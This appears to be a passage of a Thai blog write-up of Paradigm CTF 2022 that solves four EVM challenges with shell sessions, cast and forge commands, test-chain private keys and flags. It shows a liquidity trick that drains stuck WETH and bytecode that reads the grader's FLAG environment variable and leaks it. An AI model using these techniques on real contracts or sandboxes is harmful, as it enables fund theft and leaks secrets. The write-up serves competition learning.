[TH] Paradigm CTF 2022 Writeup

Inspex
17 min readAug 31, 2022

For English version, please visit: https://inspexco.medium.com/paradigm-ctf-2022-writeup-2ce290cd9287

ทีมงานของ Inspex ได้เข้าร่วมการแข่งขัน Paradigm CTF 2022 ในชื่อทีม _C0FFEE และคว้าอันดับที่ 15 ของโลกจากผู้เข้าแข่งขันทั้งหมด 445 ทีม ด้วยคะแนนรวม 2,465.1 คะแนน

โจทย์ในครั้งนี้ค่อนข้างหลากหลาย มีทั้งโจทย์ที่เป็น EVM, Solana, และ Cairo ซึ่งกำลังเป็นที่นิยมอยู่ในปัจจุบัน โดยทางทีมสามารถแก้โจทย์ได้ทั้งสิ้น 11 ข้อดังนี้:

· EVM

RANDOM
RESCUE
SOURCECODE
TRAPDOOOR
MERKLEDROP

· Solana

OTTER-WORLD
SOLHANA-1
SOLHANA-2 (Solved Locally)

· Cairo

RIDDLE-OF-THE-SPHINX
CAIRO-PROXY
CAIRO-AUCTION

สามารถดู write-up ของโจทย์แต่ละข้อที่ทางทีมแก้ได้ด้านล่างเลยครับ

EVM

RANDOM

CHALLENGE: RANDOM
AUTHOR: Riley Holterhus
TAGS: SANITY CHECK
DESCRIPTION: I’m thinking of a number between 4 and 4
ACCESS: nc 34.66.135.107 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/random.zip

สำหรับโจทย์ข้อนี้ เป็นโจทย์เบื้องต้นสำหรับ EVM โดยมีการให้ไฟล์มาอยู่ 2 contract ดังนี้

Setup.sol
Random.sol

จากที่เห็นใน Setup contract ว่าตัวแปร solved ใน Random contract ต้องถูกเปลี่ยนให้เป็น true โดยวิธีการเปลี่ยนสามารถทำได้โดยการเรียก function solve() โดยส่ง parameter ที่มีค่าเหมือนกับผลลัพธ์ของ function _getRandomNumber() หรือก็คือ 4

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 5a0028b7-3585-40ad-a5d8-7a7d98e8c713
rpc endpoint: http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713
private key: 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa
setup contract: 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502

จากการเชื่อมต่อไปที่ server ของโจทย์ เราจะได้รับ RPC URL, private key, และ address ของ Setup contract

ในการผ่านข้อนี้ เราจะต้องมี address ของ Random contract ที่สามารถหาได้จากการเรียก random() function ของ Setup contract โดยใช้ cast ดังนี้:

$ cast call --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 0x9e837C1e0bF4E47C922B0237b676bBB8ac15a502 "random()"
0x00000000000000000000000031a91af1e135324f344f96757703aa11ff214e51

จาก output จะพบว่า Random contract อยู่ที่ address 0x31a91af1e135324f344f96757703aa11ff214e51 จากนั้นเราจะสามารถเรียก solve() function เพื่อผ่านโจทย์ข้อนี้

$ cast send --rpc-url http://34.66.135.107:8545/5a0028b7-3585-40ad-a5d8-7a7d98e8c713 --private-key 0x646dde707bb4a5091716a57ec944d90d7a078b7121a7d6f0350a2ec298820daa 0x31a91af1e135324f344f96757703aa11ff214e51 "solve(uint256)" 4

เมื่อ transaction ถูกส่งไปเรียบร้อย เราสามารถไปที่ server อีกครั้งเพื่อเอา flag มาได้เลย

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{IT5_C7F_71M3}

Flag: PCTF{IT5_C7F_71M3}

RESCUE

CHALLENGE: RESCUE
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: I accidentally sent some WETH to a contract, can you help me?
ACCESS: nc 34.123.187.206 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/rescue.zip

จาก Setup contract จะเห็นว่า 10 $WETH ถูกส่งให้ MasterChefHelper contract ใน constructor โดยเป้าหมายของโจทย์ข้อนี้คือการทำให้ จำนวน $WETH ใน MasterChefHelper contract เป็น 0

Setup.sol

MasterChefHelper contract มี function swapTokenForPoolToken() ที่จะรับเหรียญไปแบ่งครึ่งและ swap แต่ละกองเป็นแต่ละ token จากนั้นจึงนำ token เหล่านั้นมาเพิ่มเป็น liquidity

เราจะเห็นว่าเมื่อ function _addLiquidity() นั้นถูกเรียก มันจะส่ง token ทั้งสองไปเท่าจำนวนทั้งหมดที่ MasterChefHelper contract ถืออยู่เพื่อคำนวณจำนวน LP ที่จะได้รับ ดังนั้นเราสามารถใช้กระบวนการเพิ่ม liquidity นี้โดยให้ token ฝั่งนึงเป็น $WETH ก็จะสามารถดึง $WETH ที่ติดใน contract มาใช้งานได้

MasterChefHelper.sol
UniswapV2Like.sol

อย่างไรก็ตามในการ swap token ตั้งต้นให้เป็น 2 token จะยังมีเงื่อนไขที่ต้องคำนึงถึงอยู่ดังนี้:

  1. หนึ่งใน 2 token ปลายทางจะต้องเป็น $WETH เพื่อจะดึง $WETH ที่ค้างอยู่
  2. ชนิดของ tokenIn จะต้องเป็น token อื่นนอกเหนือจาก 2 token ปลายทางเพราะ router ไม่รองรับการ swap เป็น token เดียวกัน
  3. จะต้องมี liquidity เพียงพอต่อการ swap ทั้งจาก tokenIn เป็น tokenOut0 และจาก tokenIn เป็น tokenOut1

เพื่อหาค่า tokenIn และ poolId ที่ต้องการ เราจึงสร้าง instance และทำการเขียน web3 script เพื่อดึงข้อมูลแต่ละ pool ที่มีอยู่ออกมา

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b1dcfc76-608d-43df-873f-5a8051100d7c
rpc endpoint: http://34.66.135.107:8545/b1dcfc76-608d-43df-873f-5a8051100d7c
private key: 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad
setup contract: 0x3982455E39F78c850AB5E80D81Ce41aa5B3CE6C7
fetchPools.js

ผลลัพธ์จากการรัน script ข้างต้นได้ดังนี้

0 0x06da0fd433C1A5d7a4faa01111c044910A184553 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xdAC17F958D2ee523a2206206994597C13D831ec7
1 0x397FF1542f962076d0BFE58eA045FfA2d347ACa0 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
2 0xC3D03e4F041Fd4cD388c549Ee2A29a9E5075882f 0x6B175474E89094C44Da98b954EedeAC495271d0F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
3 0xF1F85b2C54a2bD284B1cf4141D64fD171Bd85539 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
4 0x31503dcb60119A812feE820bb7042752019F2355 0xc00e94Cb662C3520282E6f5717214004A7f26888 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
5 0x5E63360E891BD60C69445970256C260b0A6A54c6 0x80fB784B7eD66730e8b1DBd9820aFD29931aab03 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
6 0xA1d7b2d891e3A1f9ef4bBC5be20630C2FEB1c470 0xC011a73ee8576Fb46F5E1c5751cA3B9Fe0af2a6F 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
7 0x001b6450083E531A5a7Bf310BD2c1Af4247E23D4 0x04Fa0d235C4abf4BcF4787aF4CF447DE572eF828 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
8 0xC40D16476380e4037e6b1A2594cAF6a6cc8Da967 0x514910771AF9Ca656af840dff83E8264EcF986CA 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
9 0xA75F7c2F025f470355515482BdE9EFA8153536A8 0xBA11D00c5f74255f56a5E366F4F77f5A186d7f55 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
10 0xCb2286d9471cc185281c4f763d34A962ED212962 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD46bA6D942050d489DBd938a2C909A5d5039A161
11 0x088ee5007C98a9677165D78dD2109AE4a3D04d0C 0x0bc529c00C6401aEF6D220BE8C6Ea1667F6Ad93e 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
12 0x795065dCc9f64b5614C407a6EFDC400DA6221FB0 0x6B3595068778DD592e39A122f4f5a5cF09C90fE2 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
13 0x611CDe65deA90918c0078ac0400A72B0D25B9bb1 0x408e41876cCCDC0F92210600ef50372656052a38 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
14 0xaAD22f5543FCDaA694B68f94Be177B561836AE57 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51 0x68A118Ef45063051Eac49c7e647CE5Ace48a68a5
15 0x117d4288B3635021a3D612FE05a3Cbf5C717fEf2 0x476c5E26a75bd202a9683ffD34359C0CC15be0fF 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
16 0x95b54C8Da12BB23F7A5F6E26C38D04aCC6F81820 0xAba8cAc6866B83Ae4eec97DD07ED254282f6aD8A 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
17 0x58Dc5a51fE44589BEb22E8CE67720B5BC5378009 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD533a949740bb3306d119CC777fa900bA034cd52
18 0xDafd66636E2561b0284EDdE37e42d192F2844D40 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
19 0x36e2FCCCc59e5747Ff63a03ea2e5C0c2C14911e7 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
20 0x0Cfe7968e7c34A51217a7C9b9dc1690F416E027e 0x5d3a536E4D6DbD6114cc1Ead35777bAB948E3643 0x6B175474E89094C44Da98b954EedeAC495271d0F
21 0xCEfF51756c56CeFFCA006cD410B03FFC46dd3a58 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
22 0xf169CeA51EB51774cF107c88309717ddA20be167 0x2ba592F78dB6436527729929AAf6c908497cB200 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
23 0x17b3C19Bd640a59E832AB73eCcF716CB47419846 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 0xD5525D397898e5502075Ea5E830d8914f6F0affe
24 0xFcff3b04C499A57778ae2CF05584ab24278A7FCb 0x0d438F3b5175Bebc262bF23753C1E53d03432bDE 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
25 0x382c4a5147Fd4090F7BE3A9Ff398F95638F5D39E 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
26 0x2024324a99231509a3715172d4F4f4E751b38d4d 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c
27 0x0be88ac4b5C81700acF3a606a52a31C261a24A35 0xA0b73E1Ff0B80914AB6fe0444E65848C4C34450b 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2
28 0x518d6CE2D7A689A591Bf46433443C31615b206C5 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D

พบว่า token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c สามารถ swap เป็น $WETH (0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2) ได้ ผ่าน pool id 25, และยังสามารถ swap เป็น token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ผ่าน pool id 26.

แล้วยังพบว่า pool id 21 นั้นเป็นคู่ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 และ 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2

ตัว token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c นั้นสามารถเป็น tokenIn ได้ตรงตามที่ต้องการ โดยจะใช้ ค่า poolId เป็น 21

เพื่อจะนำ $WETH ทั้งหมดออกจาก MasterChefHelper contract นั้น ก่อนที่ function _addLiquidity() จะถูกเรียก เราจะต้องทำให้ contract มีจำนวน token เป็นอัตราส่วนเดียวกับ liquidity pool หรือจะให้มีสัดส่วนของ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 มากกว่า เพื่อให้ $WETH ทั้งหมดถูกส่งไป liquidity pool

ดังนั้นเราจึงเขียน contract เพื่อช่วยในการทำขั้นตอนเหล่านี้

  1. ฝาก 11 $ETH เพื่อรับ 11$WETH
  2. ซื้อ token 0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c ด้วย 0.1 $WETH
  3. ซื้อ token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ด้วย 10.9 $WETH
  4. ส่ง token 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599 ไปที่ MasterChefHelper contract เพื่อเพิ่มอัตราส่วนของ token ให้มากขึ้น
  5. เรียก function swapTokenForPoolToken() ใน MasterChefHelper contract
Solve.sol

ใช้ forge เพื่อ deploy contract

$ forge create --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad rescue/public/contracts/Solve.sol:Solve --json
{"deployedTo":"0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C","deployer":"0x2d60598B659634B1337d3757928800d796F43896","transactionHash":"0x63c96471ddfd7daa0846e328222b721562185bd230ba290e9f3068fd5369e2cc"}

ส่ง 11 $ETH ไปให้ contract ที่ deploy แล้วเรียก function solve()

$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C --value 11000000000000000000$ cast send --rpc-url http://34.123.187.206:8545/b1dcfc76-608d-43df-873f-5a8051100d7c --private-key 0x535c61af66de70ff3707a58225e2fd1d159b57350b99e9eb67412cd2019121ad 0xacd7eA38623bED853c71B2E2386B3B4bC4eEe48C "solve()"

จากนั้นเชื่อมต่อไปยัง server เพื่อรับ flag

$ nc 34.66.135.107 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589be2862d78e3
PCTF{MuCH_4PPr3C1473_53r}

Flag: PCTF{MuCH_4PPr3C1473_53r}

SOURCECODE

CHALLENGE: SOURCECODE
DESCRIPTION: Fixed point EVM bytecode
ACCESS: nc 34.136.156.228 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/sourcecode.zip

สำหรับข้อนี้ เราจะต้องเขียน smart contract ที่ส่ง output ออกมาเป็น bytecode ของ smart contract นั้นเอง โดยห้ามใช้ opcode ที่ถูกระบุไว้ใน safe() function

Challenge.sol

ในตอนแรก ทางทีมตั้งใจเขียน smart contract ขึ้นมาเพื่อ return ส่วนของ code โดยใช้ CODECOPY opcode

แต่ก็พบว่าไม่สามารถทำได้ เพราะ CODESIZE (0x38) และ CODECOPY (0x39) opcode ถูกห้ามไว้ใน safe() function.

ทางทีมรู้ว่าโปรแกรมที่ return ตัวเองออกมาเป็น output นั้นเรียกว่า “quine” เมื่อทดลองหาดู จึงเจอ quine ของ EVM ที่มีคนเคยเขียนไว้แล้ว ชื่อว่า quine.etk

Ref: https://gist.github.com/karmacoma-eth/220b58b7cd32d649fa1a15e70b6d8bff

แต่ว่า quine.etk มีการใช้ CALLVALUE opcode ที่ถูกห้ามไว้

quine.etk

ทางทีมเลยใช้แนวคิดเดียวกัน และดัดแปลง smart contract โดยเปลี่ยน callvalue opcode เป็น opcode อื่นเพื่อจุดประสงค์เดียวกัน คือการ PUSH ค่า 0 ขึ้นไปบน stack จากนั้นทำการ pad byte ที่เหลือด้วย STOP opcode

dupper.bc
$ evmasm -a < dupper.bc                                       
0x80607f60005360015260215260416000f3000000000000000000000000000000

จากนั้นจึงเปลี่ยน PUSH16 เป็น PUSH32 ให้พอดีกับขนาดของ bytecode ของ dupper.bc

exploit.bc

เมื่อ compile เสร็จ เราก็จะได้ bytecode ออกมาในรูปแบบ hex

$ evmasm -a < exploit.bc
0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000

เชื่อมต่อไปที่ server เพื่อเริ่มต้น instance ของ โจทย์

$ nc 34.136.156.228 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
your private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: bf8d3ead-f772-47ff-84e1-02626c1f1717
rpc endpoint: http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717
private key: 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9
setup contract: 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715

จากนั้นเรียก challenge() function เพื่อดู address ของ Challenge contract

$ cast call --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 0x108FFf3C96C1054c44cBAcfCf931fAA77c7d4715 "challenge()"
0x000000000000000000000000b4ee4924c6dccb4c4e0d4872a9d84b8db17043ac

เมื่อได้ address มา เราก็จะสามารถเรียก solve() function โดยใช้ bytecode ที่เราสร้างขึ้นมาเป็น parameter ได้เลย

cast send --rpc-url http://34.136.156.228:8545/bf8d3ead-f772-47ff-84e1-02626c1f1717 --private-key 0x3931407bce0423348620b49d59df21964d68b4b69d718b9373f7b06930196bb9 0xb4ee4924c6dccb4c4e0d4872a9d84b8db17043ac "solve(bytes)" -- 0x7f80607f60005360015260215260416000f300000000000000000000000000000080607f60005360015260215260416000f3000000000000000000000000000000

หลังจาก transaction ถูกส่งไปเรียบร้อย เราก็สามารถเชื่อมต่อไปที่ server อีกครั้งเพื่อเอา flag

$ nc 34.136.156.228 31337`
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{QUiNE_QuiNe_qU1n3}

Flag: PCTF{QUiNE_QuiNe_qU1n3}

TRAPDOOOR

CHALLENGE: TRAPDOOOR
AUTHOR: samczsun
TAGS: PWN
DESCRIPTION: In theoretical computer science and cryptography, a trapdoor function is a function that is easy to compute in one direction, yet difficult to compute in the opposite direction (finding its inverse) without special information, called the “trapdoor”.
ACCESS: nc 35.68.217.8 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/trapdooor.zip

โจทย์ในข้อนี้ ต้องการให้เราเขียน smart contract เพื่อหาตัวประกอบจำนวนเฉพาะของเลขที่สุ่มขึ้นมาให้ถูกต้อง โดยเราสามารถส่ง bytecode ไปที่ server และ server จะทำการตรวจสอบผลลัพธ์โดยใช้ forge

chal.py
Script.sol

ทางทีมทราบว่าใน forge สามารถใช้คำสั่งพิเศษที่เรียกว่า cheatcodes (https://book.getfoundry.sh/forge/cheatcodes) ได้ เราเลยเขียน smart contract ที่ใช้ฟังก์ชั่น envString() เพื่อดึงค่า FLAG environment variable ออกมา

โดยเราจะเห็น output จาก server เป็นตัวเลขที่ได้จากคำตอบของการหาตัวประกอบเท่านั้น เราเลยใช้วิธีแบ่งค่าของ FLAG ออกเป็นสองส่วน และ encode ไว้ในค่าของตัวประกอบทั้งสองตัว

Factorizor.sol

ทำการ compile ตัว contract ที่เขียนขึ้นมา และรันเพื่อให้ได้ runtime bytecode

$ cat out/Factorizor.sol/Factorizor.json | jq '.bytecode.object'
"0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033"
$ evm-run --code 0x608060405234801561001057600080fd5b50610279806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033 code 608060405234801561001057600080FD5B50610279806100206000396000F3FE608060405234801561001057600080FD5B506004361061002B5760003560E01C80631B3ABBA014610030575B600080FD5B61004361003E36600461014A565B61005C565B6040805192835260208301919091520160405180910390F35B60405163F877CB1960E01B81526000908190737109709ECFA91A80626FF3989D68F67F5B1DD12D908290829063F877CB19906100B390600401602080825260049082015263464C414760E01B604082015260600190565B6000604051808303816000875AF11580156100D2573D6000803E3D6000FD5B505050506040513D6000823E601F3D908101601F191682016040526100FA9190810190610179565B90506000610109826020610126565B90506000610118836040610126565B919791965090945050505050565B81516000908390820361013D575060009050610144565B5050818101515B92915050565B60006020828403121561015C57600080FD5B5035919050565B634E487B7160E01B600052604160045260246000FD5B6000602080838503121561018C57600080FD5B825167FFFFFFFFFFFFFFFF808211156101A457600080FD5B818501915085601F8301126101B857600080FD5B8151818111156101CA576101CA610163565B604051601F8201601F19908116603F011681019083821181831017156101F2576101F2610163565B81604052828152888684870101111561020A57600080FD5B600093505B8284101561022C578484018601518185018701529285019261020F565B60008684830101528096505050505050509291505056FEA26469706673582212209120A8F35834F204AF3746D2B256675B3C4330670545B904B6D04F680CAA247F64736F6C63430008100033
60 PUSH1
60 PUSH1 Stack: 80
52 MSTORE Stack: 40,80
34 CALLVALUE Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
15 ISZERO Stack: 0,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
57 JUMPI Stack: 10,1,0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
5b JUMPDEST Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
50 POP Stack: 0 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
80 DUP1 Stack: 279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
61 PUSH2 Stack: 279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
39 CODECOPY Stack: 0,20,279,279 Memory: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080
60 PUSH1 Stack: 279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
f3 RETURN Stack: 0,279 Memory: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c6343000810003300000000000000
Returned: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033
gasUsed : 171

จากนั้นจึงเชื่อมต่อไปยัง server ของโจทย์ และส่ง runtime bytecode ไป

$ nc 34.68.217.8 31337
1 - factorize
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589df1893973e19b6efc
